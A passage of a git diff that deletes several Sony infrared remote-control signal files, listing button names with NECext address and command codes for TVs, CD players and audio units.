parsed -protocol: NECext -address: 1A 61 00 00 -command: 7A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d29m/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d29m/15,-1.ir deleted file mode 100644 index d4108db4b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d29m/15,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 09 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0F 00 00 00 -# -name: level_up -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 10 00 00 00 -# -name: level_down -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 15 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 16 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 17 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 18 00 00 00 -# -name: scroll -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 19 00 00 00 -# -name: skip_back -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 20 00 00 00 -# -name: skip_forw -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 21 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 26 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 27 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 28 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 29 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2A 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2B 00 00 00 -# -name: forw -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2C 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2D 00 00 00 -# -name: trec -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 30 00 00 00 -# -name: char -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 35 00 00 00 -# -name: musicsync -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3F 00 00 00 -# -name: name -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 61 00 00 00 -# -name: fader -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 69 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 6A 00 00 00 -# -name: yes -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 6B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d5/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d5/17,-1.ir deleted file mode 100644 index 26aac47bd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d5/17,-1.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 28 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2C 00 00 00 -# -name: fback -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: ffor -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3A 00 00 00 -# -name: for -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3B 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 40 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 41 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 42 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 43 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 44 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-dm9/223,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-dm9/223,-1.ir deleted file mode 100644 index f065f168f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-dm9/223,-1.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: DF 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: DF 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: DF 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: DF 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: DF 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: DF 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: DF 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: DF 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: DF 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: DF 00 00 00 -command: 09 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: DF 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: DF 00 00 00 -command: 13 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: DF 00 00 00 -command: 27 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: DF 00 00 00 -command: 2C 00 00 00 -# -name: track_back -type: parsed -protocol: NECext -address: DF 00 00 00 -command: 33 00 00 00 -# -name: track_forward -type: parsed -protocol: NECext -address: DF 00 00 00 -command: 34 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: DF 00 00 00 -command: 38 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: DF 00 00 00 -command: 6B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-x95/132,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-x95/132,-1.ir deleted file mode 100644 index 69e2ec859..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-x95/132,-1.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 0A 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 0D 00 00 00 -# -name: SOUND -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 13 00 00 00 -# -name: ATT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 14 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 27 00 00 00 -# -name: DSPL -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 28 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 2B 00 00 00 -# -name: DISC- -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 32 00 00 00 -# -name: DISC+ -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 33 00 00 00 -# -name: SEEK+ -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 34 00 00 00 -# -name: SEEK- -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 35 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 46 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 47 00 00 00 -# -name: AF-TA -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 4A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 5C 00 00 00 -# -name: DSO -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 73 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_sony-cd/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_sony-cd/17,-1.ir deleted file mode 100644 index d9d74f02b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_sony-cd/17,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: continue -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1D 00 00 00 -# -name: pgm -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 22 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 23 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 24 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 26 00 00 00 -# -name: >16 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 28 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2A 00 00 00 -# -name: clearrepeat -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2C 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: shuffle -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: fader -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_sonyRM-sep303/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_sonyRM-sep303/4,-1.ir deleted file mode 100644 index fc76da370..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_sonyRM-sep303/4,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: Voume- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: Muting -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0D 00 00 00 -# -name: Shuffle -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: MegaBass -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: Tuning+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: Tuning- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: Preset+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1F 00 00 00 -# -name: MusicMenu -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: Preset- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 27 00 00 00 -# -name: Clock/Timer -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 33 00 00 00 -# -name: Timer(on/off) -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 36 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_sonytv/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_sonytv/1,-1.ir deleted file mode 100644 index 5549650f5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_sonytv/1,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_1_ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: KEY_2_ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: prg+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: prg- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: picmode -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: a/b -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: tv/video -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: hold -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2B 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 38 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3A 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3F 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 74 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 75 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_tv/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_tv/1,-1.ir deleted file mode 100644 index 955958c93..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_tv/1,-1.ir +++ /dev/null @@ -1,374 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: MTS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: PICTURE+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: PICTURE- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: COLOR+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: COLOR- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: BRIGHT+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1E 00 00 00 -# -name: BRIGHT- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1F 00 00 00 -# -name: HUE+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 20 00 00 00 -# -name: HUE- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 21 00 00 00 -# -name: SHARP+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 22 00 00 00 -# -name: SHARP- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 23 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 24 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: BAL_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 26 00 00 00 -# -name: BAL_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 27 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 28 00 00 00 -# -name: SRS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 29 00 00 00 -# -name: ANT/AUX -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2F 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 30 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3A 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3B 00 00 00 -# -name: INPUT1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 40 00 00 00 -# -name: INPUT2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 41 00 00 00 -# -name: INPUT3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 42 00 00 00 -# -name: INPUT4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 43 00 00 00 -# -name: INPUT5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 44 00 00 00 -# -name: INPUT6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 45 00 00 00 -# -name: INPUT7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 46 00 00 00 -# -name: INPUT8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 47 00 00 00 -# -name: CABLE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 60 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 61 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 62 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 63 00 00 00 -# -name: ASC -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 64 00 00 00 -# -name: AUTOPROG -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 68 00 00 00 -# -name: CH_AUTO_PGM -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 6B 00 00 00 -# -name: AV+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 74 00 00 00 -# -name: AV- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 75 00 00 00 -# -name: CH_ADD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 78 00 00 00 -# -name: CH_DEL -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 79 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_tv/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_tv/2,-1.ir deleted file mode 100644 index 63742b0c2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_tv/2,-1.ir +++ /dev/null @@ -1,476 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 13 00 00 00 -# -name: JOG_2_SPEED -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 14 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 15 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 16 00 00 00 -# -name: AUDIO_MONITOR -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 17 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 18 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 19 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1A 00 00 00 -# -name: COLOR- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1B 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1D 00 00 00 -# -name: BRIGHT+ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1E 00 00 00 -# -name: BRIGHT- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1F 00 00 00 -# -name: HUE+ -type: parsed -protocol: NECext 